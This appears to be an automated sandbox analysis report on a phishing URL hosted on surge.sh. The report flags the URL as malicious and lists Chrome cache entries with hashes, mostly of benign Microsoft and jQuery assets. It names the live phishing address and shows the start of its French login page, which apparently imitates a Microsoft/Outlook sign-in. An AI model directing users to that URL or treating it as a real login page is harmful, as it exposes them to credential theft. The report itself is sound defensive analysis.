Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@24/35@23/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.142, 172.217.16.195, 142.250.181.238, 66.102.1.84, 142.250.184.238, 142.250.185.110, 142.250.185.174, 216.58.206.46, 142.250.185.170, 142.250.186.138, 172.217.16.138, 216.58.206.42, 142.250.185.74, 142.250.186.106, 216.58.212.138, 172.217.18.10, 142.250.184.234, 142.250.185.106, 172.217.16.202, 142.250.186.42, 172.217.18.106, 142.250.74.202, 142.250.185.138, 172.217.23.106, 172.217.16.206, 172.217.23.110, 23.219.150.101, 104.124.11.162, 104.124.11.217, 216.58.212.174, 142.250.186.46, 88.221.110.176, 88.221.110.179, 142.250.185.99, 172.217.18.14, 92.123.22.101, 142.250.186.110, 142.250.185.195, 104.212.67.159, 4.175.87.197, 13.107.253.72, 150.171.27.10, 23.15.178.251
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, g.bing.com, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, redirector.gvt1.com, update.googleapis.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1778.g2.akamai.net, www.bing.com, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, aadcdn.msauth.net, statics-marketingsites-wcus-ms-com.akamaized.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, translate.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, az725175.vo.msecnd.net, www.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://parta-doc.surge.sh/connexion.html

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (504)
Category:	downloaded
Size (bytes):	7989
Entropy (8bit):	4.728175633037494
Encrypted:	false
SSDEEP:	96:g/WHThRjenrjHg/9Hi+9FfKxB8bPtbdgPtcdgKq274MSMSPb+CwDIKM6+53JxOOO:DrCgBKxB8ErFzMcIIKL2nDndp+O3M
MD5:	CC810D57D897A034367BEFE3244E7EFD
SHA1:	24BEB2D39DC17298EEE327920A0AA36181698ABC
SHA-256:	98C386038732B831D3658A36B9B9FC9A675B9C0E7FC0AEFF7CF6B015A01D7FD3
SHA-512:	B1E6743F1ADA540A0C271B3E32C16C140BDA174CC61A38E951331B7836F42FC13DCB11C83D2D7697DDADB6EAC59EFD7A7C51AD53417E321C6A183AB829CA5EAD
Malicious:	false
Reputation:	low
URL:	https://parta-doc.surge.sh/connexion.html
Preview:	<!DOCTYPE html>.<html lang="fr">..<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Connexion</title>... <style>. * {. box-sizing: border-box;. margin: 0%;. padding: 0%;. }.. body {. padding: 15px;. background: linear-gradient(-45deg, #f3e4dd56, #e4eee59e);. font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";. }.. .card {. background-color: white;. padding: 23p

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	15
Entropy (8bit):	3.189898095464287
Encrypted:	false
SSDEEP:	3:Uh1Kn:UDKn
MD5:	39A19D0882684989864FA50BCED6A2D1
SHA1:	5CED55DAC2E0427E9DC605CEC1FEDAB0949EB15E
SHA-256:	8FBEDED073249C3611742297EE96A976A95EE113F33B9A422A5D3A7A2DEB63E5
SHA-512:	E795CB7DE27B42948B7DDFF19F3B401A8F95753AC7D37D9B5F52D8DACD2AA43A2AD9EACEC29F77D28080E20C21C48B9FA88A733FAC108939FB2F0EB036C7AEEE
Malicious:	false
Reputation:	low
URL:	https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Preview:	/* empty css */

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41651)
Category:	downloaded
Size (bytes):	131537
Entropy (8bit):	5.2237799798561975
Encrypted:	false
SSDEEP:	3072:1f/HuF3CpxEIqQ0/9d1EwgXAnKxnKKviV:1f/HuZ1ILGV
MD5:	30B7C335C62E5269E2D35B8E8B9F44B4
SHA1:	C6D92B1516EB8F6D44AAF171FB24A1B2AADD0C4C
SHA-256:	10733A5D876108F81C5F78EEE5C9760A739D89C52FA6180C4290B7F909F24346
SHA-512:	5BCE247C84C88F993A857CE2F1E8540C648672DEB6D92A55BC808C33394B784C52866D635BEC8B7CD5E62A7EA4109569AC8BCD1381571B84592ACD6C5901D7A8
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/54-af9f9f/c0-247156/de-099401/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/1b-c96630/db-bc0148/dc-7e9864/78-4c7d22/e1-c35781/40-7b7803/cd-23d3b0/6d-1e7ed0/b7-cadaa7/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/92-10345d/79-499886/7e-cda2d3/db-f3b1fd/93-283c2d/e0-3c9860/91-97a04f/1f-100dea/33-abe4df/19-c0fae7?ver=2.0&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 15 tables, 1st "OS/2", 37 names, Microsoft, language 0x403, type 2 string, Normaloby
Category:	downloaded
Size (bytes):	20040
Entropy (8bit):	6.19996057371802
Encrypted:	false
SSDEEP:	384:FrnW7NB829nIBLy9oHPGWyFLenP+zQgnZfncO/A/xio:cA2wy9oHhsemzFvcOjo
MD5:	5410C5517F1BBEB51E2D0F43BC6B4309
SHA1:	4ADF2D3A889A8F9D71FAC262297302086A4A03F4
SHA-256:	2F4E38662C0FF2FAB3EB09DCB457CD0778501BFFEE4026F6B0D9364ABB05DB46
SHA-512:	E0EF3BCA5CEF4B6B69CE09FC5295E21A5D151912585AE80703139550BD222EF463CBA856EA7F37E9D8BEF21EEBD7790E3A7D81D580469997A8708B11B00E61BD
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/fonts/MWFMDL2.ttf
Preview:	...........pOS/2JZxh.......`VDMX.^.q...\....cmap.ph....<....cvt ...........fpgm..........Ygasp.......`....glyfoV."...l..7.head.k....C(...6hhea......C`...$hmtx.F.E..C.....loca.Y....Dt....maxp......E\... name..b...E\|....post.Q.w..MT... prepx.....Mt.................3.......3.....f..............................MS .@...B......................... ................................................................................................................................................................... . ...!.!..."."...#.#...$.$...%.%...&.&...'.'...(.(...).)....*...+.+...,.,...-.-........././...0.0...1.1...2.2...3.3...4.4...5.5...6.6...7.7...8.8...9.9...:.:...;.;...<.<...=.=...>.>...?.?...@.@...A.A...B.B...C.C...D.D...E.E...F.F...G.G...H.H...I.I...J.J...K.K...L.L...M.M...N.N...O.O...P.P...Q.Q...R.R...S.S...T.T...U.U...V.V...W.W...X.X...Y.Y...Z.Z...[.[...\.\...].]...^.^..._._...`.`...a.a...b.b...c.c...d.d...e.e...f.f...g.g...h.h...i.i...j.j...k.k...l.l...m.m...n.n...o.o...p.p...q.q..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6824)
Category:	downloaded
Size (bytes):	8247
Entropy (8bit):	4.94186330229284
Encrypted:	false
SSDEEP:	192:UtsjqjVD/eTNOQYnKD26ta2LNdxwNkpCWT:UtsjqjVbeTNORAX/5dxD
MD5:	56D9DB00543382055098E36400876FD3
SHA1:	069ABCF2CCA5E0E2CD4F0522474F22978FE537ED
SHA-256:	5D37F9379291A60F698C2ED035BF47041F32A53251424774300F079E73D33468
SHA-512:	1D123B2A44B8E44AC7F8C861D7EE2F97A7BF7BF4495B25A60ACF8080321A3466DB9F6D5D376E386B9CBB88F84D5A71EBCB32C1280A81F3A5022E3A16508EAF0E
Malicious:	false
Reputation:	low
URL:	https://parta-doc.surge.sh/favicon.ico
Preview:	<!DOCTYPE html><html><head><head><meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no"><link rel="stylesheet" href="https://code.cdn.mozilla.net/fonts/fira.css"><style>body{. background: #e3e3df;. color: #b7b7b7;. margin:0;. padding:0;. font-size:82%;. font-family: "Fira mono", "Verdana", "Helvetica", "Arial";.}...content{. margin:80px auto;. text-align:center;.}...content img{. margin:15px 0;.}...content h1{. font-weight: 300;. font-size: 2em;. margin:15px 0;.}...content h2{. font-weight: 300;.}...insignia{. margin:5em auto;. max-width:24em;. filter: grayscale(90%);. opacity:.9;.}..#footer {. position:fixed;. left:0px;. bottom:0px;. width:100%;. background:#FFF;.}..#footer ul{. margin:0;. padding:1.5em;. list-style-type: none;. text-align:center;.}..#footer ul li{. margin:0;. display: inline-block;. font-weight: 500;. font-size: 20px;. padding:1em 0;.}..#footer ul li a{. color:#999;.}../* IE 6 /. html #footer {.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (955), with CRLF line terminators
Category:	downloaded
Size (bytes):	201253
Entropy (8bit):	2.661810841903416
Encrypted:	false
SSDEEP:	768:W7nJSq9GinOo20uqxjr3+AKyKEAPNPPn8P9R/3htzAVT+JcYY5WRItsWc7rQ3S01:WHGiOoHuOjr3+AKyKAXS
MD5:	85DE642E1467807F64F7E10807DF3869
SHA1:	C795B490811C0E5A1A8F3C3F620AAB9F00C34F07
SHA-256:	5965B2C5472AACA1CD66EA5B0D07A971B961FEE72FC27EB1F6C760042084B21B
SHA-512:	BF4EC56D6FC54EAAFBD57C4E4D06900D358E39CE15009FB983491B0A83ABB60A0A54F46BE86387AB837B4AE1D1F3FF99156D04207065B0F65F165B54CFAAF47B
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/fr-fr/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f0%2f%3fstate%3d1%26redirectTo%3daHR0cHM6Ly9vdXRsb29rLmxpdmUuY29tL21haWwvMC8&sdf=0
Preview:	..<!DOCTYPE html><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext".. xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us".. xmlns="http://www.w3.org/1999/xhtml"><head><link rel="shortcut icon".. href="//www.microsoft.com/favicon.ico?v2" /><link.. type="text/css" rel="stylesheet".. href="https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css".. /><title>Your request has been blocked. This could be.. due to several reasons.</title><meta name="Title".. content="We are sorry, the page you requested cannot be.. found" /><meta name="CorrelationVector".. content="VbLZYbRlhU2hyedN.1" /><meta name="Description".. content="" /><meta name="MscomContentLocale".. content="en-us" /><meta name="

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	563851
Entropy (8bit):	5.221453271093944
Encrypted:	false
SSDEEP:	6144:2VR57iqbPXlB5UR5vWenR5xWeMFdBjL+ks0EcU0MWEsuWe5fXbHfxlN/FNCn/Lpl:tTP0BKYtf
MD5:	12DD1E4D0485A80184B36D158018DE81
SHA1:	EB2594062E90E3DCD5127679F9C369D3BF39D61C
SHA-256:	A04B5B8B345E79987621008E6CC9BEF2B684663F9A820A0C7460E727A2A4DDC3
SHA-512:	F3A92BF0C681E6D2198970F43B966ABDF8CCBFF3F9BD5136A1CA911747369C49F8C36C69A7E98E0F2AED3163D9D1C5D44EFCE67A178DE479196845721219E12C
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css
Preview:	@charset "UTF-8";/! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise.//! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	3.869331261111518
Encrypted:	false
SSDEEP:	3:1kTOtR:15f
MD5:	5611D80604F2FD7A64A4852DA7D003D6
SHA1:	579F9923AD496AFA01D188E8436B8B95B6D75E09
SHA-256:	8D21C188BBCA03F9534A31BECF16044F554012A545C7C59AD880A3EA788B71B6
SHA-512:	98C5696E3309D380EE135A84C73D07C06890CE5D0DD3D71FA4AB5B72ED4957A7C6A80020F9935DD507E27500812059F5002A84AF51B739029A66D5F3A375F606
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCYZ5ZRAlJCBTEgUNIoTxgBIFDQp40JohMr6KBUvejhc=?alt=proto
Preview:	ChIKBw0ihPGAGgAKBw0KeNCaGgA=

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (513), with no line terminators
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	5.350826451115093
Encrypted:	false
SSDEEP:	12:D0rdkqmKlO30kMWznLPQspwlZpqBijDgrgLCpWRG3a0:exmwOkkMWIvv4ELsWUp
MD5:	602C381194795DFC124FACDF48492EF1
SHA1:	90D594B7B5AF217824F2974514548C95FECFBFA5
SHA-256:	BF450798FB52E2458A1E10749577E5334F3E1D7907A47FDFEA5430CB71FA19E6
SHA-512:	8837F6BD2A11387D31A866D07B66A0FF2E58D2EDC2682A582919A1896CE9B4CB683A795D91968B41FA46C31CE62D34414E1F3318D4F5DDA2999447F4BCA6133D
Malicious:	false
Reputation:	low
